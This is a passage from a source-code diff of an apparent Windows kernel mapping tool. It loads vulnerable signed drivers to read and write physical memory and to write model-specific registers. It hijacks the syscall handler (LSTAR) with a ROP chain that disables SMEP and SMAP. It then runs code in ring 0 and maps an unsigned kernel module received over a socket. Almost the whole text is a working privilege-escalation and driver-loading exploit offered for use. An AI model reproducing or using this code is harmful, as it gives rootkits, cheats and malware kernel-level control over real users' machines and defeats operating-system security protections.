get_kroutine(krnl_base, "ExAllocatePool"));
alloc_base = ex_alloc_pool(NULL, size);
}
);
return alloc_base;
};
theo::memcpy_t _kmemcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
void* result = nullptr;
msrexec.exec
(
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
const auto kmemcpy =
reinterpret_cast<decltype(&memcpy)>(
get_kroutine(krnl_base, "memcpy"));
result = kmemcpy(dest, src, size);
}
);
return result;
};
theo::client mapper(client_socket, packet, { _kalloc, _kmemcpy, _kresolver });
std::printf("[+] streaming kernel module...\n");
const auto module_entry =
reinterpret_cast<LPTHREAD_START_ROUTINE>(
mapper.handle());
std::printf("[+] driver entry -> 0x%p\n", module_entry);
std::getchar();
if (module_entry)
{
int result;
msrexec.exec([&result, drv_entry = module_entry]
(void* krnl_base, get_system_routine_t get_kroutine) -> void
{
using drv_entry_t = int(*)();
result = reinterpret_cast<drv_entry_t>(drv_entry)();
});
}
const auto unload_status = msrexec::unload_drv(drv_handle, drv_key);
if (unload_status != STATUS_SUCCESS)
{
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
return -1;
}
break;
}
else if (!strcmp(argv[idx], "--VDM"))
{
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
{
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
return -1;
}
// read physical memory using the driver...
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
// write physical memory using the driver...
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
// use VDM to syscall into ExAllocatePool...
vdm::vdm_ctx vdm(_read_phys, _write_phys);
theo::malloc_t _kalloc = [&](std::size_t size) -> void*
{
using ex_alloc_pool_t =
void* (*)(std::uint32_t, std::uint32_t);
static const auto ex_alloc_pool =
reinterpret_cast<void*>(
utils::kmodule::get_export(
"ntoskrnl.exe", "ExAllocatePool"));
return vdm.syscall<ex_alloc_pool_t>(ex_alloc_pool, NULL, size);
};
// use VDM to syscall into memcpy exported by ntoskrnl.exe...
theo::memcpy_t _kmemcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
static const auto kmemcpy =
reinterpret_cast<void*>(
utils::kmodule::get_export(
"ntoskrnl.exe", "memcpy"));
return vdm.syscall<decltype(&memcpy)>(kmemcpy, dest, src, size);
};
theo::client mapper(client_socket, packet, { _kalloc, _kmemcpy, _kresolver });
const auto module_entry =
reinterpret_cast<LPTHREAD_START_ROUTINE>(
mapper.handle());
std::printf("[+] driver entry -> 0x%p\n", module_entry);
std::getchar();
if (module_entry)
{
// call driver entry... its up to you to do this using whatever method...
// with VDM you can syscall into it... with msrexec you will use msrexec::exec...
const auto entry_result =
vdm.syscall<NTSTATUS(*)()>(
reinterpret_cast<void*>(module_entry));
}
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
if (unload_status != STATUS_SUCCESS)
{
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
return -1;
}
break;
}
}
break;
}
default:
{
std::printf("[!] invalid demo file option...\n");
return -1;
}
}
std::printf("[+] press enter to close...\n");
std::getchar();
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,194 @@
#include "msrexec.hpp"
void msrexec_handler(callback_t* callback)
{
// restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code...
(*callback)(ntoskrnl_base, get_system_routine);
}
namespace vdm
{
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
: wrmsr(wrmsr)
{
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
if (!find_gadgets())
DBG_PRINT("> failed to find gadgets...\n");
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
if (!find_globals())
DBG_PRINT("> failed to find globals...\n");
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
cpuid_eax_07 cpuid_features;
__cpuid((int*)&cpuid_features, 7);
cr4 cr4_value{};
cr4_value.debugging_extensions = true;
cr4_value.page_size_extensions = true;
cr4_value.machine_check_enable = true;
cr4_value.physical_address_extension =
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
cr4_value.os_fxsave_fxrstor_support =
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
cr4_value.os_xmm_exception_support = true;
cr4_value.fsgsbase_enable =
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
cr4_value.os_xsave =
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
cr4_value.pcid_enable =
cpuid_info.cpuid_feature_information_ecx
.process_context_identifiers;
m_smep_off.flags = cr4_value.flags;
m_smep_off.smep_enable = false;
m_smep_off.smap_enable = false; // newer cpus have this on...
// WARNING: some virtual machines dont have SMEP...
// my VMWare VM doesnt... nor does my Virtual Box VM...
m_smep_on.flags = cr4_value.flags;
m_smep_on.smep_enable = cpuid_features.ebx.smep;
m_smep_on.smap_enable = cpuid_features.ebx.smap;
ntoskrnl_base =
reinterpret_cast<void*>(
utils::kmodule::get_base("ntoskrnl.exe"));
get_system_routine =
reinterpret_cast<get_system_routine_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
}
auto msrexec_ctx::find_gadgets() -> bool
{
m_mov_cr4_gadget =
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx");
if (!m_mov_cr4_gadget)
return {};
m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xxx");
if (!m_sysret_gadget)
return {};
m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx");
if (!m_pop_rcx_gadget)
return {};
return true;
}
auto msrexec_ctx::find_globals() -> bool
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), ".text");
const auto ki_system_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
if (!ki_system_call)
return {};
m_system_call = (ki_system_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
/*
.text:0000000140406CC0 KiSystemCall64
.text:0000000140406CC0 0F 01 F8 swapgs
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
*/
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
// handle KVA shadowing... if KVA shadowing is
// enabled LSTAR will point at KiSystemCall64Shadow...
SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 };
// if SystemKernelVaShadowInformation is not a valid class just
// return true and assume LSTAR points to KiSystemCall64...
if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr)))
{
if (kva_info.KvaShadowFlags.KvaShadowEnabled)
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), "KVASCODE");
// no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow...
if (!section_rva || section_data.empty())
return true;
const auto ki_system_shadow_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK);
// already set m_syscall_call so we just return true...
if (!ki_system_shadow_call)
return true;
// else we update m_system_call with KiSystemCall64Shadow...
m_system_call = (ki_system_shadow_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
}
}
return true;
}
void msrexec_ctx::exec(callback_t kernel_callback)
{
const thread_info_t thread_info =
{
GetPriorityClass(GetCurrentProcess()),
GetThreadPriority(GetCurrentThread())
};
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// set LSTAR to first rop gadget... race begins here...
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
// go go gadget kernel execution...
syscall_wrapper(&kernel_callback);
SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second);
}
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
{ this->wrmsr = wrmsr; }
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
{ return this->wrmsr; }
}

@ -0,0 +1,43 @@
#pragma once
#include "../utils.hpp"
#include "syscall_handler.h"
#include <intrin.h>
#define IA32_LSTAR_MSR 0xC0000082
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
#define POP_RCX_GADGET "\x59\xc3"
#define SYSRET_GADGET "\x48\x0F\x07"
// not sure how far back this signature goes... works on 1507 though....
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
using get_system_routine_t = void* (*)(void*, const char*);
using callback_t = std::function<void(void*, get_system_routine_t)>;
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
extern "C" void msrexec_handler(callback_t* callback);
inline get_system_routine_t get_system_routine = nullptr;
inline void* ntoskrnl_base = nullptr;
namespace vdm
{
class msrexec_ctx
{
public:
explicit msrexec_ctx(writemsr_t wrmsr);
void exec(callback_t kernel_callback);
void set_wrmsr(writemsr_t wrmsr);
auto get_wrmsr() -> writemsr_t const;
private:
auto find_gadgets() -> bool;
auto find_globals() -> bool;
writemsr_t wrmsr;
};
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,90 @@
extern msrexec_handler : proc
.data
; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h
m_kpcr_krsp_offset dq 0h
m_system_call dq 0h
m_mov_cr4_gadget dq 0h
m_sysret_gadget dq 0h
m_pop_rcx_gadget dq 0h
m_smep_on dq 0h
m_smep_off dq 0h
public m_smep_on
public m_smep_off
public m_kpcr_rsp_offset
public m_kpcr_krsp_offset
public m_pop_rcx_gadget
public m_mov_cr4_gadget
public m_sysret_gadget
public m_system_call
.code
syscall_handler proc
swapgs ; swap gs to kernel gs (_KPCR...)
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
mov gs:[rax], rsp
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
mov rsp, gs:[rax]
push rcx ; push RIP
push r11 ; push EFLAGS
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
sub rsp, 020h
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
add rsp, 020h
pop r11 ; pop EFLAGS
pop rcx ; pop RIP
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
mov rsp, gs:[rax]
swapgs ; swap back to TIB...
ret
syscall_handler endp
syscall_wrapper proc
push r10 ; syscall puts RIP into rcx...
pushfq
mov r10, rcx ; swap r10 and rcx...
push m_sysret_gadget ; REX.W prefixed...
lea rax, finish ; preserved value of RIP by putting it on the stack here...
push rax ;
push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
push m_mov_cr4_gadget ; turn smep back on...
push m_smep_on ; value of CR4 with smep off...
push m_pop_rcx_gadget ;
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
push rax ;
push m_mov_cr4_gadget ; disable smep...
push m_smep_off ;
pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!!
pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"...
or rax, 040000h ;
push rax ;
popfq ;
syscall ; LSTAR points at a pop rcx gadget...
; it will put m_smep_off into rcx...
finish:
popfq ; restore EFLAGS...
pop r10 ; restore r10...
ret
syscall_wrapper endp
end

@ -0,0 +1,14 @@
#pragma once
#include "ia32.hpp"
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" cr4 m_smep_on;
extern "C" cr4 m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper(...);

@ -0,0 +1,66 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../loadup.hpp"
#include "raw_driver.hpp"
#define IOCTL_WRMSR 0x229384
#pragma pack (push, 1)
typedef struct _write_msr_t
{
std::uint32_t reg;
std::uintptr_t value;
} write_msr_t, * pwrite_msr_t;
#pragma pack (pop)
namespace msrexec
{
inline HANDLE drv_handle;
inline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
{
const auto [result, key] =
driver::load(
msrexec::raw_driver,
sizeof msrexec::raw_driver
);
if (result != STATUS_SUCCESS)
return { {}, {}, result };
std::string symlink("\\\\.\\" + key);
drv_handle = CreateFileA(
symlink.c_str(),
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { drv_handle, key, result };
}
inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
{
if (!CloseHandle(drv_handle))
return STATUS_FAIL_CHECK;
return driver::unload(drv_key);
}
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
{
std::uint32_t bytes_handled;
write_msr_t io_data{ reg, value };
return DeviceIoControl
(
drv_handle, IOCTL_WRMSR,
&io_data, sizeof io_data,
&io_data, sizeof io_data,
(LPDWORD)&bytes_handled, nullptr
);
}
}

@ -0,0 +1,494 @@
/*
WARNING: utils.hpp must be the first file included...
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
*/
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "ntdll.lib")
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <tlhelp32.h>
#include <fstream>
#include <functional>
#include <cstdint>
#include <string>
#include <vector>
#include <map>
#define PAGE_4KB 0x1000
inline bool dbg_print = true;
#define DBG_PRINT(format, ...) \
if (dbg_print) std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG KvaShadowRequired : 1;
ULONG KvaShadowRequiredAvailable : 1;
ULONG InvalidPteBit : 6;
ULONG L1DataCacheFlushSupported : 1;
ULONG L1TerminalFaultMitigationPresent : 1;
ULONG Reserved : 18;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
namespace utils
{
inline std::map<std::uintptr_t, std::size_t> pmem_ranges{};
__forceinline auto is_valid(std::uintptr_t addr) -> bool
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)
return true;
return false;
}
#pragma pack (push, 1)
struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR
{
uint8_t type;
uint8_t shareDisposition;
uint16_t flags;
uint64_t pBegin;
uint32_t sizeButNotExactly;
uint32_t pad;
static constexpr uint16_t cm_resource_memory_large_40{ 0x200 };
static constexpr uint16_t cm_resource_memory_large_48{ 0x400 };
static constexpr uint16_t cm_resource_memory_large_64{ 0x800 };
uint64_t size()const noexcept
{
if (flags & cm_resource_memory_large_40)
return uint64_t{ sizeButNotExactly } << 8;
else if (flags & cm_resource_memory_large_48)
return uint64_t{ sizeButNotExactly } << 16;
else if (flags & cm_resource_memory_large_64)
return uint64_t{ sizeButNotExactly } << 32;
else
return uint64_t{ sizeButNotExactly };
}
};
static_assert(sizeof(PhysicalMemoryPage) == 20);
#pragma pack (pop)
inline const auto init_ranges = ([&]() -> bool
{
HKEY h_key;
DWORD type, size;
LPBYTE data;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
data = new BYTE[size];
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
DWORD count = *(DWORD*)(data + 16);
auto pmi = data + 24;
for (int dwIndex = 0; dwIndex < count; dwIndex++)
{
#if 0
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
#else
const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) };
pmem_ranges.emplace(page.pBegin, page.size());
#endif
pmi += 20;
}
delete[] data;
RegCloseKey(h_key);
return true;
})();
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
{
static const auto check_mask =
[&](const char* base, const char* pattern, const char* mask) -> bool
{
for (; *mask; ++base, ++pattern, ++mask)
if (*mask == 'x' && *base != *pattern)
return false;
return true;
};
size -= strlen(mask);
for (auto i = 0; i <= size; ++i)
{
void* addr = (void*)&(((char*)base)[i]);
if (check_mask((char*)addr, pattern, mask))
return reinterpret_cast<std::uintptr_t>(addr);
}
return NULL;
}
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
inline std::uint32_t get_pid(const char* proc_name)
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (proc_snapshot == INVALID_HANDLE_VALUE)
return NULL;
Process32First(proc_snapshot, &proc_info);
if (!std::strcmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
while (Process32Next(proc_snapshot, &proc_info))
{
if (!std::strcmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
}
CloseHandle(proc_snapshot);
return NULL;
}
namespace kmodule
{
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
inline void each_module(kmodule_callback_t callback)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
if (full_path.find("\\SystemRoot\\") != std::string::npos)
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
if (!callback(&modules->Modules[idx], full_path.c_str()))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
inline std::uintptr_t get_base(const char* module_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const auto current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const auto result =
reinterpret_cast<std::uint64_t>(
modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name))
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
if (full_path.find("\\SystemRoot\\") != std::string::npos)
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
const auto module_base =
LoadLibraryExA(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
if (!module_base)
{
// free the RTL_PROCESS_MODULES buffer...
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto image_base =
reinterpret_cast<std::uintptr_t>(
modules->Modules[idx].ImageBase);
// free the RTL_PROCESS_MODULES buffer...
VirtualFree(buffer, NULL, MEM_RELEASE);
const auto export_um_addr =
reinterpret_cast<std::uintptr_t>(
GetProcAddress(module_base, export_name));
if (!export_um_addr)
return NULL;
return (export_um_addr - reinterpret_cast<std::uintptr_t>(module_base)) + image_base;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
}
namespace pe
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
// returns an std::vector containing all of the bytes of the section
// and also the RVA from the image base to the beginning of the section...
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
{
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// sometimes section names are not null terminated...
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
{
const auto section_base =
reinterpret_cast<std::uint8_t*>(
module_base + section_header[idx].VirtualAddress);
const auto section_end =
reinterpret_cast<std::uint8_t*>(
section_base + section_header[idx].Misc.VirtualSize);
std::vector<std::uint8_t> section_bin(section_base, section_end);
return { section_bin, section_header[idx].VirtualAddress };
}
}
return { {}, {} };
}
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
{
if (!module_base)
return;
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// keep looping until the callback returns false...
if (!callback(&section_header[idx], module_base))
return;
}
}
}
namespace rop
{
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
// just implimented the rop information from these posts...
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
{
std::uintptr_t result = 0u;
kmodule::each_module(
[&](auto kernel_image, const char* image_name) -> bool
{
utils::pe::each_section(
[&](auto section_header, std::uintptr_t image_base) -> bool
{
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
{
const auto rop_gadget =
utils::scan(image_base + section_header->VirtualAddress,
section_header->Misc.VirtualSize, sig, mask);
if(rop_gadget)
result = (rop_gadget - image_base) +
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
return !rop_gadget;
}
return true;
},
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(image_name,
NULL, DONT_RESOLVE_DLL_REFERENCES))
);
return !result;
}
);
return result;
}
}
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,139 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../utils.hpp"
#include "../loadup.hpp"
#include "raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack (push, 1)
typedef struct _gdrv_t
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t phys_addr;
unsigned long io_space;
unsigned long size;
} gdrv_t, *pgdrv_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
__forceinline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
{
const auto [result, key] =
driver::load(
vdm::raw_driver,
sizeof(vdm::raw_driver)
);
if (result != STATUS_SUCCESS)
return { {}, {}, result };
vdm::drv_handle = CreateFileA(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key, result };
}
__forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
{
if (!CloseHandle(drv_handle))
return STATUS_FAIL_CHECK;
return driver::unload(drv_key);
}
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
